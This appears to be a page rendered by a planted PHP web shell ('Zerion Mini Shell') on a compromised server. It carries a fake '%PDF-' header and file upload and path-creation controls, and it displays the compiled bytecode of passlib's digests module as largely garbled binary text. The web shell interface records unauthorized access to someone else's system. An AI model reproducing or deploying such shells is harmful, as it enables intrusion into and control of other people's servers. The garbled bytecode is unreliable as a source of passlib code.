%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/passlib/handlers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/passlib/handlers/__pycache__/digests.cpython-39.opt-1.pyc

a

f�Wc��@s�dZddlZddlZe�e�ZddlmZmZm	Z	m
Z
ddlmZm
Z
ddlmmZddlmZgd�ZGdd�dej�Zedd	fd
d�Zedd
d�Zeddd
d�Zedd
d�Zed�Zed�ZGdd�dej�ZdS)z.passlib.handlers.digests - plain hash digests
�N)�
to_native_str�to_bytes�render_bytes�consteq)�unicode�
str_to_uascii)�lookup_hash)�create_hex_hash�hex_md4�hex_md5�hex_sha1�
hex_sha256�
hex_sha512c@s6eZdZdZdZdZejZdZ	e
dd��Zdd�ZdS)�
HexDigestHashzTthis provides a template for supporting passwords stored as plain hexadecimal hashesNTcCs|��S�N)�lower��cls�hash�r�</usr/lib/python3.9/site-packages/passlib/handlers/digests.py�
_norm_hash+szHexDigestHash._norm_hashcCs&t|t�r|�d�}t|�|����S)N�utf-8)�
isinstancer�encoder�
_hash_func�	hexdigest)�self�secretrrr�_calc_checksum/s

zHexDigestHash._calc_checksum)
�__name__�
__module__�__qualname__�__doc__r�
checksum_size�uhZ	HEX_CHARSZchecksum_chars�	supported�classmethodrrrrrrrs
rTc
Cslt||d�}d|j}|js"d|_t|tft||t|j�|jdd|jfd��}|js^d|_|rh||_	|S)a@
    create hex-encoded unsalted hasher for specified digest algorithm.

    .. versionchanged:: 1.7.3
        If called with unknown/supported digest, won't throw error immediately,
        but instead return a dummy hasher that will throw error when called.

        set ``required=True`` to restore old behavior.
    ��requiredZhex_r�z�This class implements a plain hexadecimal %s hash, and follows the :ref:`password-hash-api`.

It supports no optional or contextual keywords.
)�namer!rr$r#F)
rr+r&�digest_size�typer�dict�staticmethod�const�django_name)�digest�moduler1r)�infor+Zhasherrrrr	8s$


��
r	Zmd4Fr(�md5Zunsalted_md5)r1r)Zsha1Zsha256Zsha512c@s�eZdZdZdZdZdZdZeddd��Z	edd	��Z
edd
d��Zedd
��Ze
jddd�edd���Ze
jddd�eddd���ZdS)�htdigestzFhtdigest hash function.

    .. todo::
        document this hash
    r)�user�realm�encodingrNcCs\|s
|j}t�|�t|t�r(|�|�}t||d�}t||d�}td|||�}t�	|��
�S)Nr7r8z%s:%s:%s)�default_encodingr%Zvalidate_secretrrrrr�hashlibr5r)rrr7r8r9�datarrrrrs


z
htdigest.hashcCsLt|dd�}t|�dkr&tj�|d��|D]}|tjvr*tj�|d��q*|S)z0normalize hash to native string, and validate itr)Zparam� z
wrong sizezinvalid chars in hash)r�lenr%�excZMalformedHashErrorZLC_HEX_CHARS)rr�charrrrr�s
zhtdigest._norm_hashcCs$|�|�}|�||||�}t||�Sr)rrr)rrrr7r8r9�otherrrr�verify�s
zhtdigest.verifycCs(z|�|�Wnty"YdS0dS)NFT)r�
ValueErrorrrrr�identify�s
zhtdigest.identifyz1.7z2.0)Z
deprecatedZremovedcCs|�ddd�S)N�)r)rrrr�	genconfig�szhtdigest.genconfigcCs|�|�|�||||�Sr)rr)rrZconfigr7r8r9rrr�genhash�s
zhtdigest.genhash)N)r)N)r r!r"r#r+Zsetting_kwdsZcontext_kwdsr:r'rrrBrDr%Zdeprecated_methodrFrGrrrrr6gs&



r6)r#r;ZloggingZ	getLoggerr �logZ
passlib.utilsrrrrZpasslib.utils.compatrrZpasslib.utils.handlersZutils�handlersr%Zpasslib.crypto.digestr�__all__Z
StaticHandlerrr	r
rrr
rZMinimalHandlerr6rrrr�<module>s&

Zerion Mini Shell 1.0